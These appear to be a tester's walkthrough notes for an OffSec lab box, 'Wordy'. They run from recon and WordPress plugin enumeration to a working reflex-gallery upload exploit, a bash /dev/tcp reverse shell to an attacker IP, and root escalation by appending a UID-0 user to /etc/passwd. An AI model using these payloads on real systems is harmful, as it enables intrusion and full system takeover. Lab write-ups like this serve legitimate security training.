OffSec · Lab
HAWordy
IP: 192.168.218.23
set ip 192.168.218.23
set url http://192.168.218.23
nmap basic
PORT STATE SERVICE
80/tcp open http
nmap services
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Fuzzd dirs
Target: http://192.168.218.23/FUZZ/
Total requests: 62281
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000327: 200 537 L 2440 W 49381 Ch "wordpress"
Fuzzd files
Target: http://192.168.218.23/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000069: 200 375 L 964 W 10918 Ch "index.html"
000000271: 200 0 L 1 W 14 Ch "info.php"
000000379: 200 375 L 964 W 10918 Ch "."
000030476: 200 1 L 6 W 28 Ch "notes.txt"
Wordpress 5.2.3
Users:
admin
aarti
wordpress plugins
[+] Enumerating All Plugins (via Aggressive Methods)
[+] wp-symposium
| Location: http://192.168.218.23/wordpress/wp-content/plugins/wp-symposium/
| Last Updated: 2015-08-21 12:36pm GMT (11 years ago)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/wp-symposium/readme.txt
| [!] The version is out of date, the latest version is 15.8.1
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/wp-symposium/, status: 200
|
| Version: 15.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/wp-symposium/readme.txt
[+] reflex-gallery
| Location: http://192.168.218.23/wordpress/wp-content/plugins/reflex-gallery/
| Last Updated: 2021-03-10 2:38am GMT (5 years ago, per WordPress.org)
| Active Installs: 100 (per WordPress.org)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/reflex-gallery/readme.txt
| [!] The version is out of date, the latest version is 3.1.7
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/reflex-gallery/, status: 200
|
| Version: 3.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/reflex-gallery/readme.txt
[+] wp-easycart
| Location: http://192.168.218.23/wordpress/wp-content/plugins/wp-easycart/
| Last Updated: 2026-09-04 11:52pm GMT (2 days ago, per WordPress.org)
| Active Installs: 3,000 (per WordPress.org)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/wp-easycart/readme.txt
| [!] The version is out of date, the latest version is 5.9.4
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/wp-easycart/, status: 200
|
| Version: 3.0.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/wp-easycart/readme.txt
[+] slideshow-gallery
| Location: http://192.168.218.23/wordpress/wp-content/plugins/slideshow-gallery/
| Last Updated: 2026-06-10 4:16pm GMT (2 months ago, per WordPress.org)
| Active Installs: 5,000 (per WordPress.org)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/slideshow-gallery/readme.txt
| [!] The version is out of date, the latest version is 1.8.6
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/slideshow-gallery/, status: 200
|
| Version: 1.4.6 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/slideshow-gallery/readme.txt
[+] gwolle-gb
| Location: http://192.168.218.23/wordpress/wp-content/plugins/gwolle-gb/
| Last Updated: 2026-08-21 6:47am GMT (17 days ago, per WordPress.org)
| Active Installs: 20,000 (per WordPress.org)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 5.1.0
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/gwolle-gb/, status: 200
|
| Version: 1.5.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/gwolle-gb/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/gwolle-gb/readme.txt
[+] mail-masta
| Location: http://192.168.218.23/wordpress/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19 7:52am GMT (11 years ago)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/mail-masta/readme.txt
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/mail-masta/, status: 200
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/mail-masta/readme.txt
[+] wp-support-plus-responsive-ticket-system
| Location: http://192.168.218.23/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03 7:57am GMT (7 years ago)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| [!] The version is out of date, the latest version is 9.1.2
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/, status: 200
|
| Version: 7.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
[+] site-editor
| Location: http://192.168.218.23/wordpress/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02 11:34pm GMT (9 years ago)
| Readme: http://192.168.218.23/wordpress/wp-content/plugins/site-editor/readme.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/site-editor/, status: 200
|
| Version: 1.1.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.218.23/wordpress/wp-content/plugins/site-editor/readme.txt
[+] https://github.com/placetopay/woocommerce-gateway-placetopay
| Location: http://192.168.218.23/wordpress/wp-content/plugins/https://github.com/placetopay/woocommerce-gateway-placetopay/
|
| Found By: Known Locations (Aggressive Detection)
| - https://github.com/placetopay/woocommerce-gateway-placetopay/, status: 200
|
| The version could not be determined.
Checking Known Locations - Time: 00:01:58 <=================================================================================> (129742 / 129742) 100.00% Time: 00:01:58
[i] 9 plugin(s) Identified.
Exploiting Reflex-Gallery using:
/usr/share/exploitdb/exploits/php/webapps/36374.txt
└─# cat upload.html
<html>
<head>
</head>
<body>
<form method="POST" action="http://192.168.218.23/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2026&Month=09" enctype="multipart/form-data" >
<input type="file" name="qqfile"><br>
<input type="submit" name="Submit" value="Pwn!">
</form>
</body>
</html>
revshell payload
bash -c 'bash -i >& /dev/tcp/192.168.45.231/443 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.231%2F443%200%3E%261'
stabilizing shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
export TERM=xterm-256color
alias ll='ls -lsaht --color=auto'
Ctrl+Z
stty raw -echo ; fg ; reset
stty columns 200 rows 200
https://gtfobins.linuxsec.org/gtfobins/cp/#suid
Update /etc/passwd
cd /var/tmp
touch passwd
echo "nrg:$(openssl passwd -1 Password123):0:0:root:/root:/bin/bash" >> passwd
cp passwd /etc/passwd
su nrg
